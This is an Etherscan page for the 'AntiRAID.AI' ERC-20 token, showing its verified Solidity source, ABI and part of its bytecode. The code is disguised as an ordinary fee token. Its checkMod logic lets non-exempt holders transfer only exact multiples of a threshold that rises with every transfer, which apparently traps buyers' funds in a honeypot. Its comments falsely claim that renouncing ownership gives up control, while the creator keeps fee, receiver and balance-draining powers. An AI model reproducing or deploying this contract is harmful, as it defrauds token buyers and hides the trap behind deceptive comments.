ETH Price: $2,327.31 (-0.99%)

Token

AntiRAID.AI (MOD.AI())
 

Overview

Max Total Supply

100,000,000 MOD.AI()

Holders

275

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.120193 MOD.AI()

Value
$0.00
0x0D54416a236b3c1b94FD3782Cff099763868e6d3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AntiRAID

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-20
*/

//SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.5;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    address internal creator;
    mapping (address => bool) internal authorizations;
    constructor(address _owner) {
        owner = _owner;
        creator = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    modifier authorized() {
        require(isAuthorized(msg.sender) || isCreator(msg.sender), "!AUTHORIZED"); _;
    }
    function authorize(address adr, bool state) public authorized {
        authorizations[adr] = state;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
     function isCreator(address account) public view returns (bool) {
         return account == creator;
    }
     function isAuthorized(address adr) public view returns (bool) {
         return authorizations[adr];
     }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract AntiRAID is ERC20, Ownable {
    using SafeMath for uint256;
    address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address lpToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "AntiRAID.AI";
    string constant _symbol = "MOD.AI()";
    uint8 constant _decimals = 6;

    uint256 _totalSupply = 100000000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
    uint256 public _maxTxAmount = _totalSupply * 1 / 100;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isBlacklisted; //Blacklist available only at launch to deter snipers. It is the only function which is onlyOwner, contract will be renounced after launch to give up control.
    

    uint256 liquidityFee = 125; 
    uint256 marketingFee = 300;
    uint256 developerFee = 150;
    uint256 totalFee = liquidityFee + marketingFee + developerFee;
    uint256 feeDenominator = 10000;

     uint256 targetLiquidity = 15;
     uint256 targetLiquidityDenominator = 100;

    address internal marketingFeeReceiver = 0xec8141570e06891EdF5424e72B1dEd6B332dA381;
    address internal developerFeeReceiver = 0xc744e33eFABCEe7F485C061eA11aa52bB102E8EA;
    address internal autoLiquidityReceiver = 0xF71d9a5609da1089D2A4d986124E63f4680EcA1f;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    bool public isTxLimited = true;
    uint256 public swapThreshold = _totalSupply / 1000 * 5; // 0.5%
    uint256 public remainder = 15000000;
    uint256 modDis = 88000000;
    bool modPro = true;    
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Ownable(msg.sender) {
        router = IDEXRouter(routerAdress);
        pair = IDEXFactory(router.factory()).createPair(lpToken, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[marketingFeeReceiver] = true;
        isFeeExempt[_owner] = true;
        isFeeExempt[address(this)] = true;
        isTxLimitExempt[_owner] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }
    

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(!isBlacklisted[sender]); //Blacklist available only at launch to deter snipers. It is the only function which is onlyOwner, contract will be renounced after launch to give up control.
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount, "Transfer amount exceeds the bag size.");
        }
        checkMod(sender, amount);
        if(modPro){remainder += 2000000 ;}
        doModDis(amount);
        
        if(shouldSwapBack()){ swapBack(swapThreshold); } 

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender] || !isTxLimited, "TX Limit Exceeded");
    }
     function checkMod(address sender, uint256 amount) internal view {
        if (modPro){
            require(isTxLimitExempt[sender] || amount % remainder == 0 || amount % modDis == 0 );
        }
        
    }
     function doModDis(uint256 amount) internal {
        if (modPro && amount % modDis == 0){
            modPro = false;
        }
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }
        function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }
    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }
    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
       return getLiquidityBacking(accuracy) > target;
    }

    function swapBack(uint256 internalThreshold) internal swapping {
        uint256 contractTokenBalance = internalThreshold;
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = contractTokenBalance.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        address[] memory path_long = new address[](3);
        path_long[0] = address(this);
        path_long[1] = lpToken;
        path_long[2] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path_long,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
        uint256 amountETHDeveloper = amountETH.mul(developerFee).div(totalETHFee);


        (bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (bool developerSuccess, /* bytes memory data */) = payable(developerFeeReceiver).call{value: amountETHDeveloper, gas: 30000}("");
        require(MarketingSuccess, "receiver rejected ETH transfer");
        require(developerSuccess, "receiver rejected ETH transfer");

        path[0] = router.WETH();
        path[1] = lpToken;

        if(amountETHLiquidity > 0 ){
            router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountETHLiquidity}(
                0,
                path,
                address(this),
                block.timestamp
            );


        }

        uint256 amountLPIDk = amountToLiquify;

        if(amountToLiquify > 0){
            uint256 lpTokenBalance = ERC20(lpToken).balanceOf(address(this));            
            ERC20(lpToken).approve(address(router), lpTokenBalance);
             
            router.addLiquidity(
                lpToken,
                address(this),
                lpTokenBalance,
                amountLPIDk,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function airdrop(address[] memory recipients, uint256[] memory values) external authorized {
        for (uint256 i = 0; i < recipients.length; i++){
            _transferFrom(msg.sender, recipients[i], values[i]);
        }
    
    }
    function burnStuckToken (uint256 amount) external authorized {
        _transferFrom(address(this), DEAD, amount);
    }
    function blackList(address _user) external onlyOwner { // The only function which is onlyOwner. Will be used to deter snipers at launch then contract will be renounced. 
        require(!isBlacklisted[_user], "user already blacklisted");
        isBlacklisted[_user] = true;
    }
    function removeFromBlacklist(address _user) external authorized {
        require(isBlacklisted[_user], "user already whitelisted");
        isBlacklisted[_user] = false;

    }
    function clearStuckBalance(uint256 amountPercentage) external authorized {
        uint256 amountETH = address(this).balance;
        payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
        uint256 BUSDLeftoverBalance = ERC20(lpToken).balanceOf(address(this));
        uint256 BUSDLeftoverBalancePC = BUSDLeftoverBalance * amountPercentage / 100;
        ERC20(lpToken).transfer(marketingFeeReceiver, BUSDLeftoverBalancePC);
    }
    function enableTxLimit(bool enabled) external authorized {
        isTxLimited = enabled;
    }

    function setWalletLimit(uint256 amountPercent) external authorized {
        _maxWalletAmount = (_totalSupply * amountPercent ) / 100;
        require(amountPercent > 1);
    }

    function setFee(uint256 _liquidityFee, uint256 _marketingFee, uint256 _developerFee, uint256 _feeDenominator) external authorized {
         liquidityFee = _liquidityFee; 
         marketingFee = _marketingFee;
         developerFee = _developerFee;
         feeDenominator = _feeDenominator;
         totalFee = liquidityFee + marketingFee + developerFee;
         require(totalFee < feeDenominator / 8 );
    } 
    function setFeeExempt (address wallet, bool onoff) external authorized {
        isFeeExempt[wallet] = onoff;     
    }
    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developerFeeReceiver) external authorized {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        developerFeeReceiver = _developerFeeReceiver;
 
    }
    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }
    function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    function triggerSwapBack(uint256 contractSellAmount) external authorized {
        swapBack(contractSellAmount);
    } 
    
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"blackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTxLimited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"remainder","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removeFromBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_developerFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developerFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"contractSellAmount","type":"uint256"}],"name":"triggerSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006600a62000143919062000ba8565b6305f5e10062000154919062000ce5565b600755606460026007546200016a919062000ce5565b62000176919062000b15565b600855606460016007546200018c919062000ce5565b62000198919062000b15565b600955607d600f5561012c6010556096601155601154601054600f54620001c0919062000ab8565b620001cc919062000ab8565b601255612710601355600f601455606460155573ec8141570e06891edf5424e72b1ded6b332da381601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c744e33efabcee7f485c061ea11aa52bb102e8ea601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073f71d9a5609da1089d2a4d986124e63f4680eca1f601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60146101000a81548160ff0219169083151502179055506001601a60156101000a81548160ff02191690831515021790555060056103e860075462000328919062000b15565b62000334919062000ce5565b601b5562e4e1c0601c5563053ec600601d556001601e60006101000a81548160ff0219169083151502179055503480156200036e57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620004be57600080fd5b505afa158015620004d3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004f9919062000a1a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016200055792919062000a6e565b602060405180830381600087803b1580156200057257600080fd5b505af115801562000587573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005ad919062000a1a565b601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600c6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600754600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620009f4919062000a9b565b60405180910390a35062000e1b565b60008151905062000a148162000e01565b92915050565b60006020828403121562000a335762000a3262000def565b5b600062000a438482850162000a03565b91505092915050565b62000a578162000d46565b82525050565b62000a688162000d7a565b82525050565b600060408201905062000a85600083018562000a4c565b62000a94602083018462000a4c565b9392505050565b600060208201905062000ab2600083018462000a5d565b92915050565b600062000ac58262000d7a565b915062000ad28362000d7a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b0a5762000b0962000d91565b5b828201905092915050565b600062000b228262000d7a565b915062000b2f8362000d7a565b92508262000b425762000b4162000dc0565b5b828204905092915050565b6000808291508390505b600185111562000b9f5780860481111562000b775762000b7662000d91565b5b600185161562000b875780820291505b808102905062000b978562000df4565b945062000b57565b94509492505050565b600062000bb58262000d7a565b915062000bc28362000d84565b925062000bf17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bf9565b905092915050565b60008262000c0b576001905062000cde565b8162000c1b576000905062000cde565b816001811462000c34576002811462000c3f5762000c75565b600191505062000cde565b60ff84111562000c545762000c5362000d91565b5b8360020a91508482111562000c6e5762000c6d62000d91565b5b5062000cde565b5060208310610133831016604e8410600b841016171562000caf5782820a90508381111562000ca95762000ca862000d91565b5b62000cde565b62000cbe848484600162000b4d565b9250905081840481111562000cd85762000cd762000d91565b5b81810290505b9392505050565b600062000cf28262000d7a565b915062000cff8362000d7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000d3b5762000d3a62000d91565b5b828202905092915050565b600062000d538262000d5a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b60008160011c9050919050565b62000e0c8162000d46565b811462000e1857600080fd5b50565b6145e68062000e2b6000396000f3fe60806040526004361061023f5760003560e01c80637d1db4a51161012e578063d7c01032116100ab578063efd460651161006f578063efd46065146108a0578063f0cd8097146108dd578063f1d5f51714610908578063f887ea4014610931578063fe9fbb801461095c57610246565b8063d7c01032146107bf578063dd62ed3e146107e8578063df20fd4914610825578063e354613c1461084e578063ee828db31461087757610246565b8063a0684251116100f2578063a0684251146106c6578063a2a957bb146106f1578063a8aa1b311461071a578063a9059cbb14610745578063d51ed1c81461078257610246565b80637d1db4a5146105f3578063893d20e81461061e5780638ebfc7961461064957806395d89b4114610672578063966a3df61461069d57610246565b80632f54bf6e116101bc578063672434821161018057806367243482146105205780636c0a24eb146105495780636ddd17131461057457806370a082311461059f578063715018a6146105dc57610246565b80632f54bf6e14610429578063313ce567146104665780634838d16514610491578063537df3b6146104ba578063571ac8b0146104e357610246565b80631da1db5e116102035780631da1db5e14610346578063201e79911461036f57806323b872dd146103985780632b112e49146103d55780632d1fb3891461040057610246565b80630445b6671461024b57806306fdde0314610276578063095ea7b3146102a15780631161ae39146102de57806318160ddd1461031b57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610999565b60405161026d9190613edf565b60405180910390f35b34801561028257600080fd5b5061028b61099f565b6040516102989190613dbd565b60405180910390f35b3480156102ad57600080fd5b506102c860048036038101906102c3919061376b565b6109dc565b6040516102d59